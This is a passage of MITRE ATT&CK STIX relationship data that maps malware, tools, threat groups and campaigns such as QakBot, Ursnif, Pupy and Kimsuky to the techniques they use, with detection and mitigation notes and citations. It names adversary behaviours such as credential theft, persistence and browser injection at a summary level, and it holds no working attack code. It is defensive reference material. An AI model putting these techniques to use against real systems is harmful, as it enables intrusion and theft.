2018."}],"modified":"2020-03-17T01:16:25.929Z","description":"[FELIXROOT](https://attack.mitre.org/software/S0267) adds a shortcut file to the startup folder for persistence.(Citation: ESET GreyEnergy Oct 2018)","relationship_type":"uses","source_ref":"malware--cf8df906-179c-4a78-bd6e-6605e30f6624","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eaf2533c-e25e-4d4c-a7e5-62342a874bb1","type":"relationship","created":"2021-09-30T13:49:35.725Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky QakBot September 2021","url":"https://securelist.com/qakbot-technical-analysis/103931/","description":"Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021."}],"modified":"2021-10-01T14:51:26.951Z","description":"[QakBot](https://attack.mitre.org/software/S0650) has collected usernames and passwords from Firefox and Chrome.(Citation: Kaspersky QakBot September 2021)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eaf4c445-8af9-48b7-9971-01a371145fde","type":"relationship","created":"2021-01-08T21:23:21.247Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Red Canary NETWIRE January 2020","url":"https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/","description":"Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021."},{"source_name":"Unit 42 NETWIRE April 2020","url":"https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/","description":"Duncan, B. (2020, April 3). GuLoader: Malspam Campaign Installing NetWire RAT. Retrieved January 7, 2021."}],"modified":"2021-01-11T21:22:09.780Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) can use TCP in C2 communications.(Citation: Red Canary NETWIRE January 2020)(Citation: Unit 42 NETWIRE April 2020)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eafd7faf-dfeb-4f62-aa67-19b62f3114a4","type":"relationship","created":"2022-03-30T14:26:51.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.839Z","description":"Monitor for newly constructed user accounts through account audits to detect suspicious accounts that may have been created by an adversary. Collect data on account creation within a network or Windows Event ID 4720 (for when a user account is created on a Windows system and domain controller).","source_ref":"x-mitre-data-component--deb22295-7e37-4a3b-ac6f-c86666fbe63d","target_ref":"attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eafddae6-8e14-491b-82af-40ddaccb99c6","type":"relationship","created":"2019-06-05T19:04:37.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro BKDR_URSNIF.SM","url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/BKDR_URSNIF.SM?_ga=2.129468940.1462021705.1559742358-1202584019.1549394279","description":"Sioting, S. (2013, June 15). BKDR_URSNIF.SM. Retrieved June 5, 2019."}],"modified":"2019-06-24T16:46:20.821Z","description":"[Ursnif](https://attack.mitre.org/software/S0386) has injected HTML codes into banking sites to steal sensitive online banking information (ex: usernames and passwords).(Citation: TrendMicro BKDR_URSNIF.SM)","relationship_type":"uses","source_ref":"malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407","target_ref":"attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eb0307d6-901d-4140-84f9-a08c6a8ea14c","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gazer Aug 2017","description":"ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017.","url":"https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"},{"source_name":"Securelist WhiteBear Aug 2017","description":"Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.","url":"https://securelist.com/introducing-whitebear/81638/"}],"modified":"2020-03-28T21:34:34.017Z","description":"[Gazer](https://attack.mitre.org/software/S0168) can establish persistence by creating a scheduled task.(Citation: ESET Gazer Aug 2017)(Citation: Securelist WhiteBear Aug 2017)","relationship_type":"uses","source_ref":"malware--76abb3ef-dafd-4762-97cb-a35379429db4","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--eb046f26-d7ab-41f0-bca2-80d76db13108","created":"2023-09-28T13:33:13.650Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"GitHub Pacu","description":"Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.","url":"https://github.com/RhinoSecurityLabs/pacu"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-13T16:35:11.236Z","description":"[Pacu](https://attack.mitre.org/software/S1091) can enumerate AWS security services, including WAF rules and GuardDuty detectors.(Citation: GitHub Pacu)","relationship_type":"uses","source_ref":"tool--1b3b8f96-43b1-4460-8e02-1f53d7802fb9","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--eb08d5b1-786c-43c8-9984-5b7b92d90d91","created":"2023-08-01T18:52:47.102Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"BitDefender BADHATCH Mar 2021","description":"Vrabie, V., et al. (2021, March 10). FIN8 Returns with Improved BADHATCH Toolkit. Retrieved September 8, 2021.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:35:02.572Z","description":"[BADHATCH](https://attack.mitre.org/software/S1081) can execute `netstat.exe -f` on a compromised machine.(Citation: BitDefender BADHATCH Mar 2021)","relationship_type":"uses","source_ref":"malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--eb0c4e7c-a412-43ca-b135-e7b78060bda5","created":"2020-01-28T14:05:17.983Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-14T13:41:29.734Z","description":"Limit the number of accounts with permissions to create other accounts. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eb17d12e-721b-4ebb-a4ff-8fe62a3189ca","type":"relationship","created":"2022-01-06T19:47:22.579Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Konni Aug 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/","description":"Threat Intelligence Team. (2021, August 23). New variant of Konni malware used in campaign targetting Russia. Retrieved January 5, 2022."}],"modified":"2022-01-06T19:47:22.579Z","description":"[KONNI](https://attack.mitre.org/software/S0356) has executed malicious JavaScript code.(Citation: Malwarebytes Konni Aug 2021) ","relationship_type":"uses","source_ref":"malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eb1c808f-5806-4169-bd41-6ea7c7f17ffb","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/","description":"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.","source_name":"ESET InvisiMole June 2018"},{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-08-18T13:13:30.748Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can obtain a list of running processes.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eb21bd35-77bb-4bc4-868d-b6e0940375ca","type":"relationship","created":"2020-02-12T15:02:01.368Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx","description":"Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.","source_name":"Microsoft Process Wide Com Keys"},{"url":"https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx","description":"Microsoft. (n.d.). Registry Values for System-Wide Security. Retrieved November 21, 2017.","source_name":"Microsoft System Wide Com Keys"},{"url":"https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1","description":"Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.","source_name":"Microsoft COM ACL"}],"modified":"2021-06-23T18:58:33.132Z","description":"Modify Registry settings (directly or using Dcomcnfg.exe) in `HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\AppID\\{{AppID_GUID}}` associated with the process-wide security of individual COM applications.(Citation: Microsoft Process Wide Com Keys)\n\nModify Registry settings (directly or using Dcomcnfg.exe) in `HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Ole` associated with system-wide security defaults for all COM applications that do not set their own process-wide security.(Citation: Microsoft System Wide Com Keys) (Citation: Microsoft COM ACL)","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--eb2b318e-2968-485e-8459-1b40c74baf83","created":"2022-09-29T17:56:09.569Z","revoked":false,"external_references":[{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T17:56:09.569Z","description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors used a malicious HTA file that contained a mix of encoded HTML and JavaScript/VBScript code.(Citation: DFIR Conti Bazar Nov 2021)","relationship_type":"uses","source_ref":"campaign--78068e68-4124-4243-b6f4-76e4e5be8a06","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eb2f2175-9c0f-4217-b5da-7e29b882e4e2","type":"relationship","created":"2021-03-18T15:15:00.535Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Muddy Water March 2021","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html","description":"Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."}],"modified":"2021-04-25T23:29:36.354Z","description":"[RemoteUtilities](https://attack.mitre.org/software/S0592) can take screenshots on a compromised host.(Citation: Trend Micro Muddy Water March 2021)","relationship_type":"uses","source_ref":"tool--03c6e0ea-96d3-4b23-9afb-05055663cf4b","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eb3a34dd-c516-44a6-9268-6464016bd14a","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Periscope March 2018","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"},{"source_name":"CISA AA21-200A APT40 July 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-200a","description":"CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department. Retrieved August 12, 2021."},{"source_name":"Accenture MUDCARP March 2019","url":"https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies","description":"Accenture iDefense Unit. (2019, March 5). Mudcarp's Focus on Submarine Technologies. Retrieved August 24, 2021."}],"modified":"2021-08-31T15:25:14.120Z","description":"(Citation: FireEye Periscope March 2018)(Citation: CISA AA21-200A APT40 July 2021)(Citation: Accenture MUDCARP March 2019)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eb3a838e-f6dd-4e9b-8edf-fc652adde117","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/n1nj4sec/pupy","description":"Nicolas Verdier. (n.d.). Retrieved January 29, 2018.","source_name":"GitHub Pupy"}],"modified":"2019-04-24T17:52:47.937Z","description":"[Pupy](https://attack.mitre.org/software/S0192) has a built-in utility command for netstat, can do net session through PowerView, and has an interactive shell which can be used to discover additional information.(Citation: GitHub Pupy)","relationship_type":"uses","source_ref":"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eb46f5b9-ff45-4229-b24a-7344829f0884","type":"relationship","created":"2020-03-20T00:08:19.315Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/n1nj4sec/pupy","description":"Nicolas Verdier. (n.d.). Retrieved January 29, 2018.","source_name":"GitHub Pupy"}],"modified":"2020-03-20T00:08:19.315Z","description":"[Pupy](https://attack.mitre.org/software/S0192) can use Lazagne for harvesting credentials.(Citation: GitHub Pupy)","relationship_type":"uses","source_ref":"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--eb4bcd20-8bd2-4dd2-bbac-f784058ee9dc","created":"2023-03-31T19:15:30.464Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Royal AA23-061A March 2023","description":"CISA. (2023, March 2). #StopRansomware: Royal Ransomware. Retrieved March 31, 2023.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-061a"},{"source_name":"Cybereason Royal December 2022","description":"Cybereason Global SOC and Cybereason Security Research Teams. (2022, December 14). Royal Rumble: Analysis of Royal Ransomware. Retrieved March 30, 2023.","url":"https://www.cybereason.com/blog/royal-ransomware-analysis"},{"source_name":"Kroll Royal Deep Dive February 2023","description":"Iacono, L. and Green, S. (2023, February 13). Royal Ransomware Deep Dive. Retrieved March 30, 2023.","url":"https://www.kroll.com/en/insights/publications/cyber/royal-ransomware-deep-dive"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-31T20:07:47.773Z","description":"[Royal](https://attack.mitre.org/software/S1073) has been spread through the use of phishing campaigns including \"call back phishing\" where victims are lured into calling a number provided through email.(Citation: Cybereason Royal December 2022)(Citation: Kroll Royal Deep Dive February 2023)(Citation: CISA Royal AA23-061A March 2023)","relationship_type":"uses","source_ref":"malware--802a874d-7463-4f2a-99e3-6a1f5a919a21","target_ref":"attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--eb4c544b-2c30-4d61-aaee-13a7bf21a182","created":"2024-03-28T14:30:48.252Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye TEMP.Veles 2018","description":"FireEye Intelligence . (2018, October 23). TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers. Retrieved April 16, 2019.","url":"https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T15:03:01.426Z","description":"In the [Triton Safety Instrumented System Attack](https://attack.mitre.org/campaigns/C0030), [TEMP.Veles](https://attack.mitre.org/groups/G0088) used cryptcat binaries to encrypt their traffic.(Citation: FireEye TEMP.Veles 2018)","relationship_type":"uses","source_ref":"campaign--45a98f02-852f-49b2-94c0-c63207bebbbf","target_ref":"attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--eb4ce173-6f0e-4c12-9ff8-09c4fb1ae2d3","created":"2023-04-10T17:37:31.149Z","revoked":false,"external_references":[{"source_name":"Kaspersky LuminousMoth July 2021","description":"Lechtik, M, and etl. (2021, July 14). LuminousMoth APT: Sweeping attacks for the chosen few. Retrieved October 20, 2022.","url":"https://securelist.com/apt-luminousmoth/103332/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T17:37:31.149Z","description":"[LuminousMoth](https://attack.mitre.org/groups/G1014) has signed their malware with a valid digital signature.(Citation: Kaspersky LuminousMoth July 2021)","relationship_type":"uses","source_ref":"intrusion-set--b7f627e2-0817-4cd5-8d50-e75f8aa85cc6","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--eb502848-508e-4ed0-8d9d-57c8121fddb4","created":"2023-09-08T16:03:28.555Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-08T16:03:28.555Z","description":"Monitor executed commands and arguments that may collect Wi-Fi information on compromised systems.","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--494ab9f0-36e0-4b06-b10d-57285b040a06","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eb5510f9-e2ec-4a57-9a96-93dc3028bcea","type":"relationship","created":"2020-05-06T21:01:23.629Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Attor Oct 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf","description":"Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:01:23.629Z","description":"[Attor](https://attack.mitre.org/software/S0438)'s has a plugin that is capable of recording audio using available input sound devices.(Citation: ESET Attor Oct 2019)","relationship_type":"uses","source_ref":"malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa","target_ref":"attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eb5ade8c-73e9-4b69-9dea-c8a8206dec25","type":"relationship","created":"2019-07-18T15:46:37.654Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-06-09T18:51:50.597Z","description":"Use tools that restrict program execution via application control by attributes other than file name for common operating system utilities that are needed.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--eb63ea0a-1d2d-4d6a-9006-a60dacc035da","created":"2023-07-27T20:45:18.342Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sygnia Elephant Beetle Jan 2022","description":"Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.","url":"https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"},{"source_name":"Mandiant FIN13 Aug 2022","description":"Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.","url":"https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-29T18:38:18.962Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has utilized the following temporary folders on compromised Windows and Linux systems for their operations prior to exfiltration: `C:\\Windows\\Temp` and `/tmp`.(Citation: Mandiant FIN13 Aug 2022)(Citation: Sygnia Elephant Beetle Jan 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--eb67e50e-84ac-495d-8374-547ef1f34f4f","created":"2020-11-05T15:54:26.041Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Netscout Stolen Pencil Dec 2018","description":"ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.","url":"https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/"},{"source_name":"CISA AA20-301A Kimsuky","description":"CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020.","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-301a"},{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.417Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has gathered credentials using [Mimikatz](https://attack.mitre.org/software/S0002) and ProcDump.(Citation: CISA AA20-301A Kimsuky)(Citation: Netscout Stolen Pencil Dec 2018)(Citation: KISA Operation Muzabi)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eb6ecbe4-07fc-4c45-9da8-fab737e300c3","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Patchwork Dec 2017","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 